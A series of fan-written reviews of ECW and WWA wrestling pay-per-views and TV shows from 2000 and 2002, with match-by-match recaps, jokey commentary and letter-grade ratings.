Main event here and at least Francine is looking good. The entrances take a good while. And now we stall. Shane is starting for his team. Not sure on an opponent at the moment but Fonzie blows the whistle a lot. Ok so it’s Rob. He has his own whistle and gets into a whistling contest. Whistling while stalling? Larry would be proud (double rep to the first person to get this reference. It’s about Larry Zbyszko, but what makes this one special?)

Rob fires off strikes but Shane avoids all of them. Van Dam tries his split legged move but gets stomped on to give Shane a brief advantage. Rob takes over with a kick and it’s time to work on the arm. Now Shane works on the arm. Off to Sabu who throws on the one arm camel clutch. Both non Triple Threat guys hit slingshot legdrops which gets a total of two on Shane.

Back to the Clutch and let’s WHISTLE BABY! Or since it’s Fonzie let’s WHISTLE DADDY! Total domination of the champion so far. Rob suplexes him back into the ring after a quick trip to the apron which gets two. More Clutching and Rob adds a spin kick to the back. Rob struts and says WOO but his split legged moonsault eats knees. Hot tag to Bigelow and Van Dam is in trouble.

DDT gets two as Sabu has to save. Double underhook release powerbomb and a headbutt by Bigelow and it’s back to Douglas. You know because he did so well in the first five minutes right? His hair is untied now so he looks a bit more ticked off. Time for the chinlock but Rob escapes and brings in Sabu. Time for the weapons to come in as Shane is sent to the floor and popped with a chair to the back.

Back in the ring a butterfly suplex puts Sabu down and we get a pair of tags. Bigelow mauls Van Dam but Greetings From Asbury Park is broken up. Sabu kind of hits a dive to the floor to Shane as this is breaking down quickly. Van Dam manages a decent rana on Bigelow all things considered. Everyone is on the floor now and Bigelow rams Rob into the post. Shane crotches Sabu on it as well and the Triple Threat is in control.

Bigelow and Van Dam are in the crowd now with Bigelow dominating him. Rob fights out and hits something that the cameras mostly miss. Sabu and Van Dam hit what would be called Poetry in Motion but Sabu botches it and hits Shane in the balls instead of the chest. Top rope….something takes Bigelow down as the tagging has been completely forgotten by this point.

Shane ducks a kick to send Rob into the ropes. Bigelow throws Shane over the top into the other two guys to take them both down. Apparently there was a table in there but you couldn’t see it. They’re walking around now because they’ve used most of their spots now. Table is brought in by Bigelow but according to hardcore wrestling law #1, he goes through it. Van Daminator takes Shane down for two.

Everything slows down now as another table is brought in and they have to take their time to make sure their plan goes perfectly well. Sabu puts Shane on the table and he goes through it. I don’t mean Sabu did anything to put him through it. I mean the table couldn’t hold his weight. What do you think the fans think of that? Shane goes through another table head first (it was in the corner) but Bigelow saves again. Fonzie gets involved and Bigelow tosses him away. Greetings From Asbury Park out of nowhere to RVD ends this.

Rating: D+. The first half of this when it was a regular tag match was pretty decent but after that it just fell apart. These guys getting 23 minutes just wasn’t a good idea at all. If you cut off about 8 minutes of the brawling, this would be a pretty good match. Shane is so out of his element in brawls it’s unreal. I mean, he’s just a decent in ring wrestler. What place could he possibly have in a wrestling company?

Sabu and Van Dam tease brawling post match but that wouldn’t be for awhile if I remember correctly.

Overall Rating: D. Well this could have been a lot worse. It’s really not a horrible show but with a lot of the matches just being bizarre choices (I mean seriously, Snow vs. Smothers for HALF AN HOUR???) and some matches seemingly running out of ideas halfway through, it’s hard to get into this. Not horrible, but really just a big house show. Nothing wrong with that, but not very inspiring.

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Date: January 28, 2000
Location: Lakefront Arena, New Orleans, Louisiana
Attendance: 3,000
Commentators: Joey Styles, Joel Gertner

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Buy our action figures! Including Taz who has already debuted in WWF!

Little Guido vs. Tajiri

Rating: C. Decent stuff here but it was basically a squash by Tajiri. Luckily for me Tajiri is one of my favorite ECW guys so I was hardly bored by this. Guido barely got in anything here and Tajiri beat up both him and his lackey with ease. As usual, neither guy is going anywhere though.

RVD is ready for Mike Awesome but wants Sabu first. Rob looks more stoned than usual here. This goes on for like two and a half minutes.

Rhyno/Steve Corino vs. Tommy Dreamer/Josh Wilcox

ECW World Title: Mike Awesome vs. Little Spike Dudley

Spike jumps Awesome to start and is immediately slammed down to the floor. Spike fires back but gets whipped into the barricade to keep the champion in control. After a quick brawl in the crowd we head back inside for Awesome to charge into a boot to the face. The champion hits a release German suplex for two and a lifting powerbomb for the same. A table is set up on the floor but Spike manages to bulldog Awesome through it instead.

Spike hits a top rope chair shot to Awesome but the champion is down on the floor. The Acid Drop is countered so Spike hits Awesome in the head with a chair instead. The fourth chair shot to the head in a row gets two but Awesome gets his foot up in the corner to block a charge. A BIG Awesome Bomb puts Spike down but the Awesome Splash gets two. Another table is set up in the corner and a running Awesome Bomb through said table retains the title.

Awesome calls out RVD but before he can get to the ring, Sabu jumps him from behind. Mike dives on both guys but only hits Sabu. Van Dam hits a big flip dive to take them both out to end the show.

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Date: January 21, 2000
Location: ECW Arena, Philadelphia, Pennsylvania
Attendance: 1,850
Commentators: Joel Gertner, Joey Styles

That opening theme lasts WAY too long.

Raven/Tommy Dreamer vs. Danny Doring/Roadkill

Super Crazy vs. Tajiri

Since this is ECW, Crazy is back up in roughly 8 seconds and hits a top rope Lionsault. We head to the floor and into the crowd for a chair shot to the Japanese head. A moonsault off the bleachers puts Tajiri through another table and we head back to the ring. Tajiri is busted open but comes back with the handspring elbow. Crazy of course no sells it and hits a clothesline to take over again.

Call the Hotline and hear about the Radicalz leaving ECW. That actually happened.

Living Dangerously is coming!

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WWA: The Revolution
Date: February 24, 2002
Location: Aladdin Casino Center, Las Vegas, Nevada
Attendance: 2,800
Commentators: Jeremy Borash, Mark Madden

Opening sequence, which is basically a video recap of the last show.

Apparently this is indeed live. Ok then.

Nova vs. Low Ki vs. Tony Mamaluke vs. Christopher Daniels vs. Shark Boy vs. Low Ki

Daniels comes in and is immediately thrown out, followed by everyone going to the floor. Daniels dives onto Low Ki so Styles hits a Shooting Star Press to the floor. This camera work is REALLY annoying as it either keeps cutting away or it has awkward shots of everything. Back in the ring, Low Ki loads up a rana on Nova, but Daniels runs the corner and hits a top rope Rock Bottom on Low Ki for the elimination.

The announcers talk a bit, including mentioning that Scott Steiner is returning to the ring tonight.

Alan Funk vs. Reno

Scott Steiner arrives with about six chicks.

Kronik vs. Native Blood

Rating: D-. This was a five minute squash. What in the world are we supposed to get out of something like this? Clark and Adams had a horrible run for about a week in WWE and this is more or less the last time anyone say them. The jobbers were exactly what their names suggest: there to get beaten up. Nothing to see here and it was sloppy on top of that.

Girls dance.

Tio vs. Puppet

Disco Inferno vs. Scott Steiner

Total dominance by Steiner that ends with the Steiner Recliner in about two minutes. Disco got in as much offense as a career comedy character would on a big name power guy.

Cruiserweight Title: Juventud Guerrera vs. Psychosis vs. Eddie Guerrero

Psychosis won the title at a house show since the last PPV. The mic is broken so we hear “ladies and gentlemen” about six times before the entrances get going, and even then they have to go very fast to catch up with the wrestlers. They grab a three way lockup to start and everybody hits everybody else. This is one fall to a finish. Eddie sends Juvy to the floor but Psychosis sends them both out there and hits a big flip dive to take them both out.

Psychosis gets put on top by Eddie but Juvy superplexes Guerrero down. Psychosis legdrops both guys but both challengers save the other. Juvy bulldogs both guys for two each and gets the same on Psychosis off a DDT. Eddie decks Guerrera, shoves Psychosis off the top and hits the Frog Splash on the champ for the pin and the title.

Eddie rips on the fans for chanting WHAT post match. He rants about his personal issues until Jerry Lynn comes out to complain. Lynn would be another guy that has more business in the main event than Christopher by the way. They argue and then brawl. Both guys came off as heels here, with Eddie getting on the fans and Jerry making fun of Eddie for being a drug addict. Lynn survives a beating and takes Eddie out.

More dancing chicks.

Sabu vs. Devon Storm

West Hollywood Blondes vs. Rick Steiner/Ernest Miller

WWA World Title: Brian Christopher vs. Jeff Jarrett

No, instead we had Sabu and Devon Storm using the same spots (count the splashes by Storm) and blown spots all over the place (count the botches in the twenty minute monstrosity) and a minute long match between a random pair of WCW guys with zero history at all and Bret Hart rambling about being a North American and Larry wanting to fight Vince. Eddie coming in was kind of a big deal, but his match SUCKED because Psychosis and Juvy both dogged it all night. NOTHING to see here after the opener and this promotion is in big trouble.

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Guilty As Charged 2000
Date: January 9, 2000
Location: Boutwell Memorial Auditorium, Birmingham, Alabama
Attendance: 4,700
Commentators: Joey Styles, Cyrus

To show you where this company was at this point, Spike Dudley is in the main event fighting Mike Awesome for the world title. What does that tell you? The company was on life support at this point with WWF beating the heck out of everyone and WCW just generally sucking. Other than that we have the Impact Players vs. Dreamer and Raven. That’s about it. Oh and RVD vs. Sabu in what I’m sure will be forgettable. Let’s get to it.

ECW’s video game is the sponsor, resulting in a massive logo on the mat. That could get annoying. Joey points out that Cyrus’ headset isn’t plugged into anything. So that’s where Otunga got the idea from. Gertner of course shows up for like the 9th PPV in a row. He makes sex jokes, Joey asks if that’s all he’s there for, Joel says he made his joke, got a pop, is more over than Cyrus, is getting laid later, and has already gotten paid. Was there a point in this at all?

Theme song.

CW Anderson vs. Mikey Whipwreck

Anderson is allegedly Arn’s son or nephew or whatever. It’s an easy way to get a guy over. Heck Ricky Steamboat got his name by pretending to be the son of a local guy named Sam Steamboat so this is fine. He’s also the enforcer of the new Dangerous Alliance with Lou E. Dangerously. It more or less sucked but it was a midcard stable so I can’t complain about that much.

 

And now Lou wants to talk. Ok his imitation is pretty good. Whipwreck fights off a double team and hits a nice spot where he grabs Anderson in a wheelbarrow and slams his ribs onto the railing. I love that. Anderson works on the arm like a true Anderson would so at least the mythology for lack of a better term is there. Mikey hits a NICE clothesline off the top.

 

When I say nice I mean it didn’t look that professional, but it looked realistic which a lot of the time is the most important to me. I’d rather have it look like a normal person executing a move than looking well trained and choreographed etc, but that’s just me. Mikey hits the Whippersnapper but the referee gets pulled out. A cell phone shot sets up the Anderson Spinebuster for the pin.

Rating: C+. This felt like a TV match but it came off pretty well. If nothing else it gives the stable a credible win and Mikey was great at getting the crowd into his matches. While not the best match in the world, this was decent enough as an opener.

Joey and Cyrus talk for a bit and you can tell they get along well behind the scenes.

Simon Diamond/Roadkill/Danny Doring vs. Nova/Jazz/Kid Kash

Simon and his valet get and likely deserve gay jokes that are made about them. Elektra, Doring and Roadkill’s manager was always one of my favorites. This was a midcard feud that went on forever and never really went anywhere. Kid Kash was based on Kid Rock. Yeah that’s not dated at all.

 

Oddly enough though, Rock wound up at a Mania and I don’t think Kash ever did. That’s very amusing. They say Mitch is like Conan O’Brien but with a worse haircut. Elektra does the Pec Dance. Oh dear. Jazz still gets no reaction. When Kid Kash gets a better reaction than you, you’re in trouble. Hey we’re actually starting! We’re getting wrestling in ECW! I don’t believe it! Ok that’s not fair.

 

Jazz and Doring start us off and Not Chyna is in trouble. Aww I wanted to see Roadkill vs. Jazz. Roadkill is a guy that is better than he’s made out to be I think. ECW’s camerawork is just atrocious. It’s all over the place and they miss SO much. Jazz hits the X Factor, her finisher, and when I say hits I mean his head never actually hits the mat, but Dick Hertz is back to do nothing at all.

 

I hate the lack of pads. There’s a difference between tough and stupid and dives onto concrete are stupid. So Jazz, Diamond and Kash are gone so it’s the future tag champions vs. Nova. Nova hits a DDT that they say will be on TV tomorrow night. That would imply someone is watching this show so he’s safe. This is one sided obviously since it’s 2-1.

 

In a funny spot Doring goes into Nova’s corner and pretends to be his partner and punches him when he reaches for a tag. Chris Chetti who is still injured at this point comes down to be the partner. He even hits a pescado and takes out the fat man. And now everybody dives over the top. Nova does it, Doring does it, the referee does it. Seriously it’s ECW did you expect anything else?

 

Doring and Nova fight on the top rope and Nova just falls to the floor. No mats remember. That’s such a scary bump. A top rope splash from Roadkill ends it. Post match two guys named the Dupps come out and beat up everyone until Nova and Doring make the save.

Rating: D+. Not bad but of course it’s a massive mess. These guys feuded forever and this is just another chapter in it. I don’t think they ever went past this spot on the card but you got two decent teams out of it. Not bad but not great.

Mike Awesome and his manager cut an interview that I can barely hear because of the crowd cheering for Elektra in the ring. Oh it’s about Spike.

Spike cuts probably the best promo of his career, “breaking character” saying he’s going to hurt Mike Awesome tonight and yelling at a production guy who tells him to stay in character. He says he’s not an actor and drops a lot of F bombs. Better than it sounds.

Yoshihiro Tajiri/???vs. Super Crazy/???

This is a dream partner tag match and allegedly Jerry Lynn and Tajiri are working together and Lynn will be the partner of Tajiri. Steve Corino is here with Tajiri and is starting to look like his familiar self, mainly due to his beard. He talks to the audience before the match and they HATE him. Corino picks Crazy as Tajiri’s partner, and here’s Little Guido for no apparent reason.

 

Yoshihiro Tajiri/Super Crazy vs. Jerry Lynn/Little Guido

It’s like they wanted to do a four way dance and they just forgot how to book it. So Tajiri and Crazy were going to pick their own dream tag partners and Guido is mad that Corino didn’t pick him to be Tajiri’s partner so Heyman inserted him and Lynn together into a team together to fight Tajiri and Crazy as Tajiri picked him opponent as his partner. No explanation given as to why he did that but whatever.

 

We get some nice technical stuff to start us out so I’m happy. This was more or less the Cruiserweight division as they kept having meaningless matches that ran together really badly, but to be fair there are two TV Champions and a World Champion in this. This is more or less all of them doing all of their stiff strikes on each other. I can work with that.

 

What would an ECW show be without a fairly solid botch? Let’s break out those high spots people! We’re into the crowd already and we can’t see ANYTHING. Tajiri vs. Lynn in the ring as Crazy does his big moonsault. Both Crazy and Tajiri do the ten punches in the corner and both take powerbombs out of it. For two guys like Lynn and Guido that don’t team together they sure think alike don’t they?

 

A double powerbomb can’t beat Lynn. Now remember, this is the same Lynn that was never put over RVD (to this point). So they’re saying that RVD could take this much and do better? Lynn never got pushed like he could have. With him being fairly conservative with the hardcore stuff he would have been far better than Corino for the anti-hardcore stuff.

 

Anyway, the partners finally turn on each other and Tajiri hits a brainbuster on Lynn to end it. Post match, Corino and his boys come out and beat up Lynn and Corino runs down Dusty Rhodes for no apparent reason.

 

Dusty is here of course, despite being everything ECW was supposed to not be about, as he is the epitome of old school and old mentality of booking but with them this close to death I guess it’s whatever. Rhyno beats him up and the majority of the roster comes down to save him. To be fair, he got an eruption so maybe they’re onto something.

Rating: D. The match was decent, but what in the world were they going for here? Whatever it was they didn’t get it. This just didn’t do it at all for me as I have no clue what they were trying to accomplish. It was confusing and no one really got it I don’t think, plus it somehow sets up the manager vs. Dusty Rhodes? What the heck?

New Jack talks about being ticked off at Da Baldies and having a staple in him. Well they were loyal to him. I have to give them that.

Ad for their TV shows and live events. It’s sponsored by their video game. That really was a fairly big deal. It pretty much sucked, but it was a nice accomplishment I guess.

Angel vs. New Jack

This is for King of the Streets, which is just a name I guess. The other two Baldies are with Angel. So we have a black man beating up a Latino in the Deep South. Yeah this isn’t going to go bad at all. Oh an it’s the song too. Can’t you tell how thrilled I am by that? I wonder how much they spent on his toys over the years.

 

New Jack “drops” an “elbow” from the top “onto” Angel. This is just not that interesting at all as it’s just New Jack beating him up with weapons. It’s limited to this match so far though so I can’t complain that much. If they keep it isolated I can live with it. Grimes and DeVito, the other Baldies are beating him up now.

 

So we’re on the floor in the middle of the crowd now with New Jack fighting some other guy. Jack dives out of the balcony and while it’s a big jump, it’s been done. That’s how I would sum up New Jack’s issues: we’ve seen it all before and it just loses its specialness. Angel remembers he’s in this match and comes to beat Jack up. At least Angel’s selling is funny. A shovel to New Jack’s head ends it.

Rating: D-. Like I said, we’ve seen this all before. What is the point of seeing it all over again? We get it: New Jack is a street fighter and Angel can beat him. What’s the point to it? I just don’t get it.

Alfonso goes into Van Dam’s dressing room and says it smells great in there but we need to air it out a bit. He’s stoned about out of his mind but whatever. Seriously is there any reason at all why he never got the world title? RVD says he’s beaten everyone with Fonzie saying he’s not Sabu.

 

Fonzie says he’s behind Van Dam 100%. And then we go down the hall to talk to Sabu and Fonzie. Fonzie cuts a promo talking about how Sabu is going to win. That’s a funny idea actually but it sets up the match quite well. If Sabu doesn’t win he leaves apparently.

ECW TV Title: Sabu vs. Rob Van Dam

Ok, this actually is a big match. I’ll give them that. RVD’s wife is here after having a bad Jetski accident. She’s ever pretty actually. Joey says it’ll be a classic. I doubt that but maybe. We’re on the floor already and Fonzie is the most interesting thing here as he’s saying he’ll be the winner no matter what. That’s brilliant actually. We break out the high spots and Cyrus calls the fans troglodytes.

 

Sabu is of course sloppy but this time it’s not as bad. He’s not blowing basic spots which helps a lot. Fonzie set up a table earlier on and there it goes. Sabu gets hurt putting Van Dam through it as it’s just been a fight so far. He calls for some athletic tape for his knee as it’s in trouble.

 

This is still a big crazy fight, but it’s far less annoying here as instead of just mindless violence and making it look silly, this takes the weapons and violence and puts them in as parts of a wrestling match. The Triple Jump Moonsault hits but there’s no referee. Van Dam kicks out of a legdrop version.

 

Fonzie tries to wake up the referee but not really, which is nice again as he’s unsure if he wants to go with Sabu but he kind of does. Van Dam sets for the Van Daminator but fakes Sabu out and counters his counter to hit it. That was nice. They screw up a hurricanrana as Van Dam doesn’t go down.

 

That might have been intentional so I can give them that. Fonzie is in the ring with a chair but can’t decide who to give it to so Van Dam hits him with a Van Daminator. SWEET. After blocking a springboard splash, Van Dam hits the Five Star to retain. Post match Sabu leaves the out cold Alfonso laying there.

Rating: B-. I liked it. I have no idea why but I liked it. I think it was the Fonzie thing but this came off as decent to me. I have no desire to watch them fight again, but for a one time thing I liked it. By far the best Sabu match I can remember but not one of Rob’s best. Still this is a major match so that’s good.

The Impact Players say they’ll win the belts because they’re better.

Cyrus and Joey say Sandman/Rhyno won’t happen because Sandman had to take care of a family emergency. I like that. It sucks that a match had to be canceled, but at least be honest about it. I like that as it’s something different.

Tag Titles: Impact Players vs. Raven/Tommy Dreamer

The Players come out separately for no apparent reason. To be fair the champions do too. Apparently the Impact Players are trying to take over the company so Dreamer and Raven are fighting for ECW. Sure why not. Raven is RIDICULOUSLY over. They can’t get in the ring as the Impact Players (I feel like I’m doing OCW again) fight them off.

 

We hit the floor because that makes sense to give up your advantage like that. The champions throw the other guys off the stage as they’re working together. Hey we go to an actual tag sequence. I’m stunned. Ok to be fair ECW matches usually do go to rules after the insanity dies down. Dreamer is both busted up and in trouble as we HIT THE CHINLOCK!

 

It’s fun seeing these guys actually wrestle for a change rather than just having mindless brawls. If nothing else we get to look at some rather hot women during this with Francine and Dawn Marie. Storm misses the second best superkick in wrestling and Dreamer gets the hot tag. Well kind of as he hits the hand but no one calls it. The referee realizes they kind of blew the spot and just lets it go I guess.

 

Raven hits his drop toehold. I’ve always liked how simple yet awesome that was. And there’s the Tombstone but surprisingly it only gets two. I would have bet on that being the ending. Storm sets up a table and then like an IDIOT stands in front of it. As he goes through it, the only thing I can think of is YOU FREAKING DESERVE IT.

 

The girls go at it and it’s nothing special. There’s your Bronco Buster which still is freaking stupid. Raven takes a Singapore cane shot for Francine but walks into That’s Incredible for the pin.

Rating: C-. Give this more wrestling and a bit more time and this can be pretty good. This was just too short on wrestling and too little Raven who is the best guy in here not named Storm. This was a decent enough match though but it just needed more time to make it a good bit better.

We go outside to the parking lot to talk to Corino and company who say they’re proud of beating up Rhodes. Rhyno tells the guy to shut the F up. THAT is the first moment from ECW that I ever remember. Rhyno wants an ECW Title shot. He would get it and be the last champion of the company.

Cyrus is REALLY happy about the Impact Players getting the belts.

We go to the recap of Spike vs. Awesome which is because Spike’s girlfriend took a clothesline and knocked her teeth out.

ECW World Title: Mike Awesome vs. Spike Dudley

This should be going on in the spot of the TV Title match and the TV Title match should come on last. Spike has lost a lot of that ANGER from an hour and a half ago. He starts setting up tables before Mike is even here. Oh well we get to listen to some more AC/DC so I can’t complain. He sets up FIVE tables including two on top of each other before getting into the ring with a microphone.

 

He talks about how he makes his living getting put through tables. Ok thanks for admitting you’re a glorified jobber getting a title shot at a PPV. Why was Awesome managed by a “judge?” That never made much sense to me but whatever. Spike goes through a table less than 15 seconds in. Ok then let’s go home now as this is rather pointless. There go two more.

 

We’re MAYBE a minute and a half in and Spike has done nothing at all other than a few punches. Them calling the split screen replay Double Vision is funny. Spike is in the crowd and Awesome dives over the railing to knock him back down. Joey wants the match stopped but then cheers when he kicks out of a splash. Is this supposed to make sense?

 

Oh that’s right it’s Spike Dudley in the main event of a PPV. Of course it’s not supposed to make sense. Awesome Bomb is blocked and Spike jumps at Awesome and hits something close to an Acid Drop on the guard rail. Spike might have hurt his leg. Wow I wonder how he could have done that. Spike hits a hurricanrana which Awesome (rightfully) no sells and then kills Spike with a clothesline for two.

 

Spike hits the one move that I’ve never been able to understand how it can be done safely: a double stomp from the top rope. In an INSANE spot, Spike gets on the top rope and hits a springboard clothesline from the ring to the front row. That was impressive and Joey/Cyrus make fun of Hogan for doing such limited stuff.

 

That’s rather amusing as Awesome is actually Hogan’s nephew or something close to that. Spike hits an Acid Drop from the apron to the floor through a table and chokes Awesome out with a cord to take over. Joey shouting AWESOME IS DEAD over and over after a big chair shot is rather creepy.

 

Spike is thrown through a table and is more or less out cold. Spike then further proves his idiocy by going up when Awesome is on the top rope in front of a table. Of course he goes through it for the pin. He deserved that for general stupidity.

Rating: D-. The problem here is simple: the credibility just wasn’t there at all. Spike is still his size and Awesome is his size. That’s why this didn’t work very well. We get it: Spike can do moves to big guys, but chair shots and a Diamond Cutter from the ropes isn’t enough to make this believable. They tried….kind of, but this just didn’t work that well at all.

OverallRating: D+. It’s by no means the worst ECW show ever, but seriously, what happened here? Van Dam keeps the belt again, Awesome dominates again, the dream partner match made no sense. Oh right the Players won the belts. Guess what they do at the next PPV.

 

They win the belts since they lose them in a few weeks. Anyway, this wasn’t horrible I guess, but that’s not saying much. Just a very lackluster show and you can clearly see the things just getting ready to come crashing down.

 

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